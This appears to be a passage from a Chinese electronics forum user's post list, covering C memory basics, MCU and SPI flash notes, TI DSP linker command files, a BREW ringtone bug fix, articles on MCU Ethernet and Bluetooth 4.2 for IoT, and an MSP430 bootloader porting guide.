这段代码如果改成,效果等价性能也会大幅度提升。 void* buffer = malloc(SIZE); for(;;) { memset(buffer,SIZE); process(buffer) } free buffer; (4)最后需要质疑的是为什么需要开辟1M大小的空间,是否通过了验证,这样做是否有必要,实际情况是怎样的,memset是否需要,是否可以通过什么其他方法来避免这种计算。 由此可见,很多问题,不好的编码习惯,对机器理解的不够透彻是很难再一般的工作中发现,必须在大规模数据处理的实践场合(处理数据量足够大),才能体现出来,因此大规模数据处理技术是软件、硬件相结合的技术,而且不仅仅是技术上的问题还包括了业务上的问题,废代码,废计算应该去掉,不合理的计算应该变得合理。

  • 发表了主题帖: 关于C语言内存的一些理解

    内存这个大话题 key:心里一定要有内存的逻辑图。 程序是什么? 程序 = 代码 + 数据 代码放在Flash中代码段,可变的数据(全局变量、局部变量)放在内存中。 运行程序的目的是什么? 得到运行结果; 关注运行过程;既要结果又要过程; 为什么需要内存? 程序中有可变数据(全局变量、局部变量),这些可变数据就是放在内存中的。 内存如何管理? 每个内存单元都有唯一的地址,通过寻址来管理内存。 关键点 一个字节为一个内存单元,一个内存单元有一个内存地址。 C语言是如何操作内存的? 定义变量时,编译器自动的申请一块内存供我们使用。 管理内存的各种方式? 数组、结构体、栈(FILO)、堆(大内存)

  • 发表了主题帖: 单片机MCU相关基础知识整理篇

     1.MCU有串口外设的话,在加上电平转换芯片,如MAX232,SP3485就是RS232和RS485接口了。 2.RS485采用差分信号负逻辑,+2~+6V表示0,-6~-2表示1。有两线制和四线制两种接线,四线制是全双工通讯方式,两线制是半双工通讯方式。在RS485一般采用主从通讯方式,即一个主机带多个从机。 3.Modbus是一种协议标准,可以支持多种电气接口,如RS232,RS485,也可以在各种介质上传输,如双绞线,光纤,无线。 4.很多MCU的串口都开始自带FIFO,收发FIFO主要是为了解决串口收发中断过于频繁而导致CPU的效率不高的问题。如果没有FIFO,则没收发一个数据都要中断处理一次,有了FIFO,可以在连续收发若干个数据(根据FIFO的深度而定)后才产生一次中断去处理数据,大大提高效率。 5.有些工程师在调试自己的系统时一出现系统跑飞,就马上引入看门狗来解决问题,而没有思想程序为什么会跑飞?程序跑飞可能是程序本身的bug,也可能是硬件电路的问题(本身就是易受干扰或自己就是干扰源)。通常建议在调试自己的系统时,先不加看门狗,等完全调试稳定了,在补上(危机产品安全,人身安全的除外)。 6.如何区分有源蜂鸣器和无源蜂鸣器? 从外观上看,如将两种蜂鸣器的引脚都朝上放置时,可以看出绿色电路板的一种是源蜂鸣器,没有电路板而用黑胶密封的一种是有源蜂鸣器。 有源蜂鸣器直接接上额定电源就可以连续发声,而无源蜂鸣器则和电磁扬声器一样,需要接在音频输出电路上才能发声。 7.电压比较器的用途主要是波形的产生和变换,模拟电路到数字电路的接口。 8.低功耗唤醒的常用方式:处理器进入低功耗后就停止了很多活动,当出现一个中断时,可以唤醒处理器,使其从低功耗模式返回到正常运行模式。因此在进入低功耗模式之前,必须配置莫个片内外设的中断,并允许其在低功耗模式下继续工作。如果不这样,只有复位和重新上电才能结束低功耗模式。处理器唤醒后首先执行中断服务程序,退出后接着执行主程序中的代码。 9.触摸屏的特征: 1)透明,直接影响到触摸屏的视觉效果。从这一点看红外线技术触摸屏和表面声波触摸屏由于只隔了一层纯玻璃,视觉效果突出。而很多触摸屏是很多层的复合薄膜,仅用透明一点来概括它的视觉效果是不够的,还可以包括色彩失真度,反光性,清晰度。色彩失真度也就是图中的最大色彩失真度,自然是越小越好。反光性主要是指由于镜面反射造成图像上重叠后产生的光影,如人影。大多数存在反光性的触摸屏提供另外一种型号,磨砂面触摸屏,也叫防眩型。 2)触摸屏是据对坐标系统,也就是不管在什么情况下,同一点的输出数据时稳定的,如果不稳定,就会定位不准,也就是触摸屏最怕的问题:漂移。技术原理上凡是不能保证同一点触摸每一次采样数据相同的触摸屏都免不了漂移问题,目前有漂移现象的只有电容触摸屏。 10.注册中断服务函数:中断服务函数已经编写好,但当中断事件发生时,CPU还是无法找到它,因为我们还缺少最后一步:注册中断服务函数。注册有两种方法:一是直接利用中断注册函数,优点是操作简单,可移植性好,缺点是由于把中断向量表重新映射到SRAM中而导致执行效率下降:还有一种是需要修改启动文件,优点效率很高,确定可移植性不高。 11.很多的MCU提供数字电源VDD/GND和模拟电源VDDA/GNDA。通常建议是采用两路不同的3.3V电源供电。但为了节省成本,也可以采用单路3.3V电源,但VDDA/GNDA要通过电感从VDD/GND分离出来。一般GNDA和GND最终还是要连接在一起的,建议用一个绕线电感连接并且接点尽可能靠近芯片(电感最好放置在PCB背面)。

  • 发表了主题帖: 关于SPI-Flash的一些基础知识

    1.不同的SPIFLASH芯片可能会提供的擦除方式:扇区擦除(4KBytes),半块擦除(32KBytes),块擦除(64KBytes),片擦除。 2.不同的SPIFLASH芯片可能会提供的编程方式(也就是写数据):页编程(256Bytes),扇区编程(4KBytes)。 3.SPIFLASH如果擦除过,在往里面写0xFF这样的数据意义不大,因为它的特性就是擦除后数据就是0xFF。 4.写入flash时,只能把数据(bit)从1该为0。 5.传统的EEPROM的特点就是可以随机访问和修改任何一个字节,可以往每个bit中写入0或1。而写入flash时,只能把数据(bit)从1该为0。但是传统的EEPROM容量因成本的缘故收到限制,绝少有超过有512K的。 6.Nor Flash容量相对小,成本高,基本没坏块,数据线和地址线分开,可以实现随机寻址,读取任何一个字节,擦除任然要按块来擦。NAND FLASH容量大,成本低,坏块经常出现,但可以标记坏块,使软件跳过,数据线和地址线复用,按块擦除按页读取。

  • 2019-06-13
  • 发表了主题帖: TMS320C6000cmd文件分析

    DSP中的CMD文件是链接命令文件(Linker Command File),以.cmd为后缀。 在分析cmd文件之前,必需先了解 (1)DSP具体芯片的内存映射(Memory Map) (2)知道点链接的知识,知道C程序中段的概念 (3)知道RAM,Flash等存储模块的区别 ====================================================================== 1. coff目标文件 ====================================================================== coff是一种流行的二进制可执行文件格式,在CCS v5中扩展名为.out,可以直接 下载到芯片中。可执行文件包括段头、可执行代码、初始化数据、可重定位信息 和符号表字符串表等信息。 编译器处理段的过程为: (1)把每个源文件都编译成独立目标文件(.obj),每个目标文件都有自己的段 (2)链接器将目标文件中相同段名的部分连接在一起,生成最终的coff可执行文件 CCS v5中的Compile Files完成功能(1),Build完成功能(2)。 2. TMS320C6713内存映射(略) 3. 自定义代码段和数据段 // 将symbol分配到section name指示的数据段 #pragma DATA_SECTION(symbol, "section name"); // 将symbol分配到section name指示的代码段 #pragma CODE_SECTION(symbol, "section name");   常常结合结构体定义symbol,如下, volatile struct Symbol symbol;  // Symbol预先定义好的描述特定外设的结构 比如,对于C6713中的Timer0外设,做如下定义, struct Timer0 {     ... } #pragma DATA_SECTION(C6713_Timer0, "C6713_Timer0_cmd"); volatile struct Timer0 C6713_Timer0; "C6713_Timer0_cmd"将在cmd文件中分配空间。 4. cmd文件   cmd文件主要用于完成链接的功能,因此可以在cmd文件中使用链接命令,比如: -stack 0x200    设置栈大小为0x200字节 -heap 0x200     设置堆大小为0x200字节 -l rst67xx.lib  链接rst67xx.lib库 除了链接命令外,cmd 文件还包括MEMORY和SECTOINS两部分,分别用于存储区的划分和段的分配。 MEMORY划分的格式为: L2SRAM    : o = 00000000h l = 00030000h  /* L2 SRAM 192K */ o表示起始地址,l表示存储区长度(以字节为单位) 一个简单的例子(TMS320C6713为例,不同芯片不同),外设只添加了Timer0: MEMORY {     L2SRAM    : o = 00000000h l = 00030000h  /* L2 SRAM 192K */     L2CACHE   : o = 00030000h l = 00010000h  /* L2 Cache 64 K */         /* Peripheral */     CPU_TIMER0 : o = 01940000h l = 00040000 /* Timer0 */         EXTERNAL  : o = 80000000h l = 80010000h }     SECTIONS {     /* Allocate program areas */     .text     > L2SRAM        /* code segment */     .cinit    > L2SRAM        /* init segment */         /* Allocate data areas */     .stack    > L2SRAM     .far      > L2SRAM     .switch   > L2SRAM        /* C switch table */     .tables   > L2SRAM     .data     > L2SRAM        /* data segment */     .bss      > L2SRAM        /* data that haven't init */     .sysmem   > L2SRAM     .const    > L2SRAM        /* string, const ... */     .cio      > L2SRAM         .buffers  > EXTERNAL         C6713_Timer0_cmd > CPU_TIMER0  /* Timer 0 */ } cmd文件包括2部分 —— MEMORY与SECTIONS MEMORY完成地址空间的划分; SECTIONS完成地址空间的分配到具体用途(除了程序中通用段之外还可以有自定义段)。 NOTES: 平时开发时都是将程序下载到RAM空间,当要发布时需要下载到Flash空间, 此处为SRAM的cmd文件,Flash的cmd文件有所不同。 下面是TI公司DSK的cmd,可以直接参考, /****************************************************************************/ /*  C6713.cmd                                                               */ /*  Copyright (c) 2010 Texas Instruments Incorporated                       */ /*                                                                            */ /*    Description: This file is a sample linker command file that can be    */ /*                 used for linking programs built with the C compiler and  */ /*                 running the resulting .out file on an TMS320C6713        */ /*                 device.  Use it as a guideline.  You will want to        */ /*                 change the memory layout to match your specific C6xxx    */ /*                 target system.  You may want to change the allocation    */ /*                 scheme according to the size of your program.            */ /*                                                                          */ /****************************************************************************/   -stack 0x2000 -heap 0x8000   MEMORY {     IRAM        o = 0x00000000    l = 0x00030000    /* 192kB - Internal RAM */     L2RAM        o = 0x00030000    l = 0x00010000    /* 64kB - Internal RAM/CACHE */     EMIFCE0        o = 0x80000000    l = 0x10000000    /* SDRAM in 6713 DSK */     EMIFCE1        o = 0x90000000    l = 0x10000000    /* Flash/CPLD in 6713 DSK */     EMIFCE2        o = 0xA0000000    l = 0x10000000    /* Daughterboard in 6713 DSK */     EMIFCE3        o = 0xB0000000    l = 0x10000000    /* Daughterboard in 6713 DSK */ }   SECTIONS {     .text          >  IRAM     .stack         >  IRAM     .bss           >  IRAM     .cio           >  IRAM     .const         >  IRAM     .data          >  IRAM     .switch        >  IRAM     .sysmem        >  IRAM     .far           >  IRAM   .args          >  IRAM     .ppinfo        >  IRAM     .ppdata        >  IRAM     /* COFF sections */     .pinit         >  IRAM     .cinit         >  IRAM     /* EABI sections */   .binit         >  IRAM     .init_array    >  IRAM   .neardata      >  IRAM     .fardata       >  IRAM     .rodata        >  IRAM     .c6xabi.exidx  >  IRAM     .c6xabi.extab  >  IRAM } 下面再给出一个TMS320F2818的完整cmd文件例子,与6713有所不同,比如16进制格式 表示,MEMORY和SECTIONS书写等。 MEMORY { PAGE 0 :     PRAMH0     : origin = 0x3f8000, length = 0x001000                  PAGE 1 :     /* SARAM                     */         RAMM0    : origin = 0x000000, length = 0x000400    RAMM1    : origin = 0x000400, length = 0x000400        /* Peripheral Frame 0:   */    DEV_EMU    : origin = 0x000880, length = 0x000180    FLASH_REGS : origin = 0x000A80, length = 0x000060    CSM        : origin = 0x000AE0, length = 0x000010    XINTF      : origin = 0x000B20, length = 0x000020    CPU_TIMER0 : origin = 0x000C00, length = 0x000008    CPU_TIMER1 : origin = 0x000C08, length = 0x000008             CPU_TIMER2 : origin = 0x000C10, length = 0x000008             PIE_CTRL   : origin = 0x000CE0, length = 0x000020    PIE_VECT   : origin = 0x000D00, length = 0x000100        /* Peripheral Frame 1:   */    ECAN_A     : origin = 0x006000, length = 0x000100    ECAN_AMBOX : origin = 0x006100, length = 0x000100        /* Peripheral Frame 2:   */    SYSTEM     : origin = 0x007010, length = 0x000020    SPI_A      : origin = 0x007040, length = 0x000010    SCI_A      : origin = 0x007050, length = 0x000010    XINTRUPT   : origin = 0x007070, length = 0x000010    GPIOMUX    : origin = 0x0070C0, length = 0x000020    GPIODAT    : origin = 0x0070E0, length = 0x000020    ADC        : origin = 0x007100, length = 0x000020    EV_A       : origin = 0x007400, length = 0x000040    EV_B       : origin = 0x007500, length = 0x000040    SPI_B      : origin = 0x007740, length = 0x000010    SCI_B      : origin = 0x007750, length = 0x000010    MCBSP_A    : origin = 0x007800, length = 0x000040        /* CSM Password Locations */    CSM_PWL    : origin = 0x3F7FF8, length = 0x000008        /* SARAM                    */         DRAMH0     : origin = 0x3f9000, length = 0x001000          }   SECTIONS {    /* Allocate program areas: */    .reset           : > PRAMH0,      PAGE = 0    .text            : > PRAMH0,      PAGE = 0    .cinit           : > PRAMH0,      PAGE = 0        /* Allocate data areas: */    .stack           : > RAMM1,       PAGE = 1    .bss             : > DRAMH0,      PAGE = 1    .ebss            : > DRAMH0,      PAGE = 1    .const           : > DRAMH0,      PAGE = 1    .econst          : > DRAMH0,      PAGE = 1          .sysmem          : > DRAMH0,      PAGE = 1        /* Allocate Peripheral Frame 0 Register Structures:   */    DevEmuRegsFile    : > DEV_EMU,    PAGE = 1    FlashRegsFile     : > FLASH_REGS, PAGE = 1    CsmRegsFile       : > CSM,        PAGE = 1    XintfRegsFile     : > XINTF,      PAGE = 1    CpuTimer0RegsFile : > CPU_TIMER0, PAGE = 1          CpuTimer1RegsFile : > CPU_TIMER1, PAGE = 1          CpuTimer2RegsFile : > CPU_TIMER2, PAGE = 1          PieCtrlRegsFile   : > PIE_CTRL,   PAGE = 1          PieVectTable      : > PIE_VECT,   PAGE = 1        /* Allocate Peripheral Frame 2 Register Structures:   */    ECanaRegsFile     : > ECAN_A,      PAGE = 1       ECanaMboxesFile   : > ECAN_AMBOX   PAGE = 1    /* Allocate Peripheral Frame 1 Register Structures:   */    SysCtrlRegsFile   : > SYSTEM,     PAGE = 1    SpiaRegsFile      : > SPI_A,      PAGE = 1    SciaRegsFile      : > SCI_A,      PAGE = 1    XIntruptRegsFile  : > XINTRUPT,   PAGE = 1    GpioMuxRegsFile   : > GPIOMUX,    PAGE = 1    GpioDataRegsFile  : > GPIODAT     PAGE = 1    AdcRegsFile       : > ADC,        PAGE = 1    EvaRegsFile       : > EV_A,       PAGE = 1    EvbRegsFile       : > EV_B,       PAGE = 1    ScibRegsFile      : > SCI_B,      PAGE = 1    McbspaRegsFile    : > MCBSP_A,    PAGE = 1    /* CSM Password Locations */    CsmPwlFile      : > CSM_PWL,     PAGE = 1 }  

  • 发表了主题帖: C5000铃音响不停bug

    问题描述:     C5000遗留bug,在来电话铃响瞬间,主叫挂断电话,铃音会继续响不停,此时按任何键都无法关闭铃音 解决过程:       查看代码后发现在使用IMEDIA接口设置的回调函数中,在接收到MM_STATE_DONE后,重新调用了IMEDIA_Play()接口。而在调用IMEDIA_Play之前,曾调用过IMEDIA_SetVolume()接口设置IMEDIA的音量,查找BREW API得知,设置音量属性会引起IMEDIA接口发送MM_STATE_DONE状态到注册的回调函数中。因此,其实在调用IMEDIA_Play()播放midi之前,midi早就通过调用IMEDIA_SetVolume()引发的MM_STATE_DONE而在回调函数中开始播放了。 解决这个问题的思路是:       因为IMEDIA在设置Param时,只会触发MM_STATE_DONE,而不会触发MM_STATE_START,所以可以通过设置一个变量,记录IMEDIA的播放状态,当开始调用IMEDIA_Play()之前,设置该变量为FALSE, 当回调接受到MM_STATE_START时,将变量设置为TRUE,而在回调接收到MM_STATE_DONE时,判断该标记是否为TRUE,如果为TRUE,表示不是通过MM_STATE_DONE在回调引发IMEDIA_Play()。      在解决了上面这个问题后,重新测试发现依旧存在该BUG,通过打印log,发现在调用IMEDIA_Stop()接口关闭音乐时,音乐其实并没有关掉,通过进一步分析,发现在调用IMEDIA_Stop()时,IMEDIA的状态并不是MM_STATE_PLAY状态,因此在stop音乐时,实现代码检测到非Play状态,直接返回导致音乐无法关闭。       通过查BREW API关于IMEDIA state的API,API指出,在IMedia 的状态转换时,调用的IMEDIA 接口函数都有可能失败。 这个问题的解决思路是: 在要调用IMEDIA_Stop()关闭IMEDIA时,通过IMEDIA_GetState()检测IMedia此时的状态,如果不是MM_STATE_START,则设定一个定时器,延时调用IMEDIA_Stop()。 至此问题解决。 总结: 1、使用IMEDIA接口设置Param时,即调用IMEDIA_SetParam()时,必须注意其副作用,部分属性会导致IMEDIA状态的改变。 2、使用IMEDIA_Stop()关闭音乐前,必须检测IMEDIA此时的状态,如果状态不是MM_STATE_START,则要注意IMEDIA_Stop()不会关闭音乐。

  • 发表了主题帖: 基于MCU的嵌入式物联网设计中的以太网连接

          随着我们进入普及的物联网(IoT)世界,嵌入式设备的连接性是必不可少的。无线连接似乎是主流趋势,但大多数无线设备最终需要找到有线互联网连接以增加带宽和可靠性。我们的好朋友传统有线以太网连接仍然需要集线器,聚合器,网桥,存储和应用服务器嵌入式节点。当成本,带宽,便利性或可靠性问题排除无线方法时,低成本传感器也可以使用有线以太网而不是无线解决方案。幸运的是,许多低成本MCU系列现在提供有线以太网支持,因此可以开发传感器,廉价桥接器和连接聚合器,而不会“破坏”预算库。 本文将概述支持有线以太网连接的廉价MCU类型。将提供一些需要有线连接的常见嵌入式应用示例,以演示关键MCU特性和功能如何与重要应用要求相匹配。 嵌入式环境中的以太网连接        以太网在嵌入式系统中是如此普遍的元素,我们通常不会多考虑它 - 它只是计算机通信的“以太”。自从1985年最初的标准化以来,以太网已经从最初的3 Mbit/s数据传输速率发展并发展到100 Gbit/s,并产生了各种不同的媒体和连接拓扑。多层OSI模型和底层消息结构的灵活性支持了以太网在几十年内生存和繁荣的发展和优化。 嵌入式设备使用以太网连接来发送和接收数据和控制信息。更高级的嵌入式系统可以使用以太网来传输和接收代码更新,以添加新功能并修复可被黑客利用来窃取机密信息的漏洞或安全漏洞。必须保护这些更新免受安全漏洞攻击,或者黑客可以使用更新工具完全破坏系统并将其用作攻击网络其他部分的入口点。即使是低成本的嵌入式系统也可以利用远程更新的便利性,因此即使设计“按预算”完成,也必须考虑某种程度的安全性。        以太网幸存的原因之一这个标准的早期版本已经变得越来越具有成本效益。例如,在双绞线和8P8C模块化连接器上运行的标准(10BASE-T和100BASE-TX)的低带宽10 Mbit/s和100 Mbit/s版本,即使在标准化后数十年仍然是一种流行的版本。这些版本现在通常在低成本MCU中得到支持,甚至可以为成本受限的设计提供连接。 预算中的以太网连接       MCU供应商即使在一些最低端设备上也提供以太网连接。这使得即使是低成本的传感器,控制器和分布式系统外围的其他元件也可以添加Internet连接。最普遍的MCU系列之一是Microchip的PIC,PIC18F MCU系列的一些成员具有片上10BASE-T以太网控制器和集成PHY。这样就可以仅使用带有集成磁性元件的外部连接器(如Bel Fuse S811-1X1T-06-F)连接到以太网。集成PHY非常简单,因为它实现了低速10BASE-T标准,但由于它们的向后兼容性,它仍然可以连接到100BASE-T和1000BASE-T标准。       尽管Microchip PIC18F97J60 MCU价格低廉,以太网控制器具有多种先进功能,可轻松实现更高级别通信协议所需的软件。如图1所示,控制器中包含一个8 KB的以太网RAM缓冲区,用于本地数据包存储,从而减少对系统内存的带宽要求。仲裁器管理从DMA控制器,CPU,发送模块和接收模块对数据缓冲区的访问,以最大限度地提高性能和效率。 图1:Microchip PIC18F97J60以太网控制器框图。 (由Microchip提供)        PIC18F以太网控制器的其他高级功能之一是能够在接收到特殊数据包时唤醒。这在传感器应用中特别有用,在传感器应用中,设备可以进入低功耗模式,直到需要读数。当接收到唤醒数据包时,CPU被中断并转换出低功耗状态。传感器读数通过以太网传送回主机。 CPU返回低功耗模式,直到收到另一个唤醒数据包。 构建网桥        通常,需要将具有不同接口要求的多个传感器合并并“桥接”到单一标准接口。在这个应用中,MCU可能需要具有更强大的以太网实现,可能使用100BASE-T标准来提升我们之前看到的单传感器设备的性能,其中较慢的10BASE-T标准就足够了。 MCU还需要支持各种其他标准,例如USB,SPI,I 2 C,CAN和SMBus/PMBus,因此它可以覆盖所有潜在的传感器接口。例如,STMicroelectronics STM32F405xx/7xx MCU不仅支持以太网10/100BASE-T连接,还支持许多其他流行接口。如图2中的框图所示,它支持所有通用接口,并且由于它提供从64引脚到176引脚的各种封装,您可以将器件与优化电路板所需的精确接口端口数相匹配空间使用。 图2:ST Microelectronics STM32F405xx/7xx MCU的框图。 (由ST Microelectronics提供)      STM32F405xx/7xx的另一个关键特性是其片上总线的结构,使其成为桥接应用的理想选择。请注意,低速串行外设由两个不同的总线组成,带有独立的DMA控制器,以最大限度地减少总线冲突。以太网和USB接口与高速AHB总线交换矩阵有自己的连接,可以优先访问片上和外部存储器。在组合和整合多个传感器数据流以通过单个以太网接口进行通信时,这种灵活的片上总线结构至关重要。 聚合和存储        以低成本实现嵌入式应用程序将有足够的数据由本地传感器生成或从远程传感器集线器聚合,MCU中可用的内部存储将是不够的。在这些情况下,将需要外部存储器控制器来管理外部存储设备。对于中等容量的应用,静态存储器就足够了,但在高容量应用中,将需要动态存储器。与NXP LPC178x/7x上的存储器控制器一样,它支持任何类型的接口,并且可以特别高效,因为具有不同存储器要求的多个产品变体可以由同一MCU支持。如图3所示,支持静态存储器(ROM,RAM和Flash)和动态存储器(SDRAM),可以存储大量数据。嵌入式数据缓冲区在合并写入事务以最小化内存访问时非常有用。读操作可以使用缓冲区来聚合事务以最小化总线带宽。此外,对先前缓冲的位置的访问可以使用缓冲的数据而不是外部存储器,从而改善存储器带宽并降低功耗。 图3:恩智浦LPC178x/7x外部存储器控制器框图。 (恩智浦提供) 安全预防措施         在某些以太网连接的嵌入式系统中,安全性是一个关键考虑因素。许多低成本MCU没有集成的安全功能,但有一些安全外设可用于为低成本MCU系统增加安全功能。例如,Atmel CryptoAuthentication ATSHA204A安全设备可以存储安全密钥,验证接收的数据,并生成随机数,以便在通用安全协议中使用。标准安全散列算法(SHA)用于生成和检查用于安全地验证传输的安全摘要。设备中可用的安全命令类型列表如图4所示.MCU的接口使用熟悉的I 2 C总线,以便于集成。 图4:Atmel ATSHA204A上可用的安全命令。 (由Atmel公司提供) 结论         以太网已经存在,现在支持有线以太网连接的低端MCU,嵌入式物联网设备将能够使用性能和可靠性由有线连接提供。确保将应用程序所需的以太网功能与目标MCU提供的功能相匹配,以便成功进行设计。

  • 发表了主题帖: 如何采用蓝牙4.2实现物联网

             在许多无线物联网设备中,如可穿戴电子设备和电池供电或自供电传感器,将功耗保持在最低水平至关重要。物联网的一些最重要的应用包括智能家居,远程医疗保健,消费者零售,环境监控和商业资产跟踪。为了简化部署,这些设备需要方便最终用户访问和控制,无需专用网关等特殊设备。   某些无线技术,如ZigBee?,可满足低功耗要求,并提供长距离和面向应用的配置文件,如ZigBee PRO或ZigBee家庭自动化(HA)。另一方面,与消费者域的连接可能有些复杂,并且可能需要特殊的网关以允许用户通过诸如普通智能手机或平板电脑之类的设备进行交互。   蓝牙?具有一些吸引力作为替代方案,但从历史上看,它并不适合物联网的某些方面。它的功耗相对较高,数据速率比通常更快,而且第一个蓝牙规范是基于一对一而不是一对多的连接。   蓝牙低功耗(BLE)标准(版本4.0/4.1/4.2)补充了基本速率(BR)和增强型数据速率(EDR)(版本2.0/2.1)标准,改变了蓝牙与物联网的关系。自2012年以来,每个智能手机,平板电脑和智能手表都支持BLE,允许用户使用自己的设备轻松直接与物联网应用进行交互,而不受网关需求的限制。   蓝牙移至满足物联网需求   BLE标准旨在交换短脉冲数据并使微硬件电流消耗大小而不是毫安,同时扩展通信范围。在这些规范中,后来的蓝牙4.2增加了重要的新功能,这些功能显然旨在使蓝牙尽可能地吸引物联网设备设计人员。   蓝牙4.2中添加的重要功能包括互联网协议支持配置文件(IPSP) )使设备具有自己的IPv6地址,从而通过边缘设备直接连接到互联网,而无需智能手机充当网关或集线器等设备。通过使蓝牙设备能够发送和接收IP数据包,IPSP还可以与支持IP的其他非蓝牙设备(如6LoWPAN设备)进行通信,从而极大地扩展了互操作性。   此外,还有一些重要的新功能允许设备使用标准HTTP与基于互联网的服务进行交互。这些功能包括新的API,使用户能够通过Internet安全地发现蓝牙LE设备并与之互动。这些设备可以是智能家居传感器或执行器,例如窗户传感器或门锁。房主可以发现设备,检查其状态,并通过路由器或智能电视等设备进行调整。同样,智能家居所有者可以通过直接从智能手机,平板电脑或支持蓝牙的PC连接来控制所有这些设备,而无需任何其他网关设备。   新的HTTP代理服务(HPS)允许蓝牙4.2设备充当HPS客户端与云应用程序交互。在智能家居应用中,充当HPS客户端的蓝牙4.2温度传感器可以在家庭路由器上使用可发现的HPS服务将数据发送到基于云的应用程序,如能效服务(图1)。     图1:蓝牙4.2设备可以使用HPS直接向云端发送数据。   蓝牙4.2还指定了更大的消息包大小,允许数据传输到比之前版本的BLE快2.5倍。   BLE规范中一个比较有争议的方面是支持信标功能,它利用了BLE设备之间的自动交互。连接到移动设备的蓝牙信标在范围内可以支持诸如微位置,在商店中推销销售信息或在店内跟踪客户移动以用于营销目的的应用。画廊或艺术博物馆可以发布一个供访问者下载的应用程序,允许他们在展览中移动时自动接收每个展览的信息。   在企业场景中,信标非常有用。例如,它们可用于引导访问者访问大型站点中的特定位置,快速查找可能放错位置的资产,或者在需要维护时发出警报时广播警报。   隐私和安全性   通过识别蓝牙设备地址来跟踪智能手机用户的能力引发了隐私问题。为了解决这个问题,蓝牙4.2引入了一项隐私功能,可以使用安全加密密钥频繁生成新的设备地址。密钥对于可信设备是已知的,允许它们解析新地址。因此,用户有权选择何时允许跟踪,并且可以例如平衡接收销售要约或位置指导的价值以防止感知入侵或侵犯隐私。   这个新的隐私功能是其中之一蓝牙4.2中的许多安全功能,符合NIST或FIPS认证,包括更安全的密钥生成,加密和数据签名技术,以涵盖早期BLE规范中的漏洞。通过添加额外的配对方法,使用椭圆曲线加密技术进行密钥交换,确保更强的安全性,从蓝牙4.0和4.1的安全简单配对模型升级配对,确保更强的安全性。   结合蓝牙的优势4.2通过增强的互联网和云连接,消费者智能手机中无处不在的蓝牙技术可以使其成为物联网中使用最广泛的技术。   需要新的硬件   一些增强功能通过更新固件,可以将蓝牙4.2(例如改进的安全功能)添加到现有BLE产品中。然而,其他方面,例如更快的数据速度,只能通过适当的硬件来实现。许多蓝牙4.2模块可用于帮助设计人员快速利用新标准。   Microchip RN4870和RN4871是完整的模块,将Microchip IS187x BLE IC与所有必需的外围组件相结合板式天线创建一个易于使用的插入式解决方案(图2)。该IC完全集成了蓝牙4.2基带控制器,蓝牙4.2堆栈,数字和模拟I/O以及RF功率放大器。该模块通过简单的UART接口连接到主机系统,并提供方便的ASCII命令API。 RN4870/71模块可以与板载陶瓷芯片天线一起订购,或者作为非屏蔽版本,具有外部天线连接,从而使尺寸更紧凑,适用于空间受限的应用。     图2:该模块提供了蓝牙4.2连接所需的一切,并可轻松连接到主控制器。   另一个模块,Silicon Labs BGM113,基于EFR32BG SoC采用ARM?Cortex?-M4微控制器,能够在空间或成本受限的应用中无需外部MCU即可托管最终用户应用。该模块集成了各种外设,如比较器和ADC,以及便于连接其他外设或外部传感器的数字接口和GPIO。   结论   无线标准需要一段时间应对物联网迅速扩展到日常生活中。许多现有标准无法使物联网充分发挥其作为消费者或商业工具的潜力。增强功能和特殊配置文件(如ZigBee HA)说明了无线行业试图赶上快速发展的物联网机会的一些尝试。   蓝牙低功耗与低功耗,低功耗相比,具有超越其他无线标准的巨大优势由于对当今流行的移动设备的普遍支持,数据速率和适当的范围与纯粹无处不在。通过更时尚的IP连接,更高的安全性和隐私性以及有用的速度提升,蓝牙4.2可以为物联网提供理想的连接技术,以实现其崇高的目标。

  • 2019-06-12
  • 发表了主题帖: MS430G2755有关MSPBoot的代码移植流程

    1 MS430G2755 CMD 文件的产生            首先用Per工具产生CMD文件(Generating Linker Files), 通过Per的工具会产生两个CMD文件,其中一个给MSP430G2755的Bootloader使用,另一个给MSP430G2755的应用程序使用。操作指令如下, C:\Users\a0223791\Desktop\MSP430-BSL-IAP\MSPBoot_1_01_00_00\linkerGen>perl MSPBo otLinkerGen.pl -file lnk_msp430G2755_Uart_1KB -dev MSP430G2755 -params 0x8000 0x FFE0 0xFC00 48 6 0x1100 0x20FF 0x80 0x1000 0x10BF 这里面有几个重要的参数说明如下, <0x8000 > = Start address of Flash/FRAM 对于MSP430G2553 地址为0xC000 , 而MSP430G2755的地址需要修改为0x8000 <0xFFE0 > = Address of interrupt vector table 中断向量表的地址0xFFE0, 对于MSP430G2553和MSP430G2755相同 <0xFC00> = Start address of Bootloader Bootloader的起始地址0xFC00,对于两者也是相同的 <48 > =Size of the proxy table 这里的48对应于12个中断向量,每个中断向量占用4Byte <6> = Size of shared vectors 在应用程序中一共有3个(P1/Time/Dummy)中断向量,每个中断向量占用2Byte, 对应参数为6 <0x1100> = Start address of RAM RAM的起始地址也需要修改为MSP430G2755的0x1100 <0x20FF > = End address of RAM RAM的结束地址也需要修改为MSP430G2755的0x20FF <0x80> = Size of the stack MSP430G2755默认的堆栈大小为0x80 <0x1000> = Start address of info memory used for bootloader Information的起始和结束地址MSP430G2553和MSP430G2755一致,无需修改 <0x10BF > = End address of info memory used for bootloader Information的起始和结束地址MSP430G2553和MSP430G2755一致,无需修改   注意如上修改的参数6,及中断向量的数量,在Bootloader中的中断向量不需要修改,只修改MSP430G2755应用程序App中的中断向量即可,通过下图可以直观看到中断向量的在Bin文件中的分布。 图二 MSP430G2755中断向量 图三 MSP430G2755 Bin文件对应虚拟中断向量表            注意在这里的809C 和80E2 就对应MSP430G2755应用程序中的P1_Isr 和Timer_A,GPIO中断和定时器中断。下图会看到在MSP430G2755Bootloader中虚拟中断向量表的分布。 图四MSP430G2755 Bootloader虚拟中断向量表   2 工程CMD文件添加        将2.1步骤中产生的CMD文件,分别添加到MSP430G2755的Bootloader及应用程序App的工程中,如下图所示 图5 MSP540G2755 CMD文件          特别注意,如果使用的是TI默认的MSP430G2553的工程,需要将原工程的器件型号选择为MSP430G2755,并且把MSP430G2755自带的G2553的CMD文件删除掉,使用生成MSP430G2755的CMD文件。 3 应用程序txt转化c文件 通过CCS编译器,编译MSP430G2755的应用程序,编译完成后会产生一个txt文件下载格式,我们需要将这个产生的txt文件转换为.c文件,这个.c文件才能给主控MCU使用,通过Bootloader下载到MSP430G2755中。转化运行指令如下, C:\Users\ a0223791\Desktop\MSP430-BSL-IAP\G2755_Porting\MSPBoot_1_01_00_00\430txt _converter>430txt2C.pl App1_MSPBoot.txt AppForHostG2755.c App1 通过这步将生成的.c文件,添加到主MCU中的main函数文件路径中,在这里我们测试的主控MCU是MSP430G2553,添加后的程序如下图所示。 图六 Host MCU添加升级程序 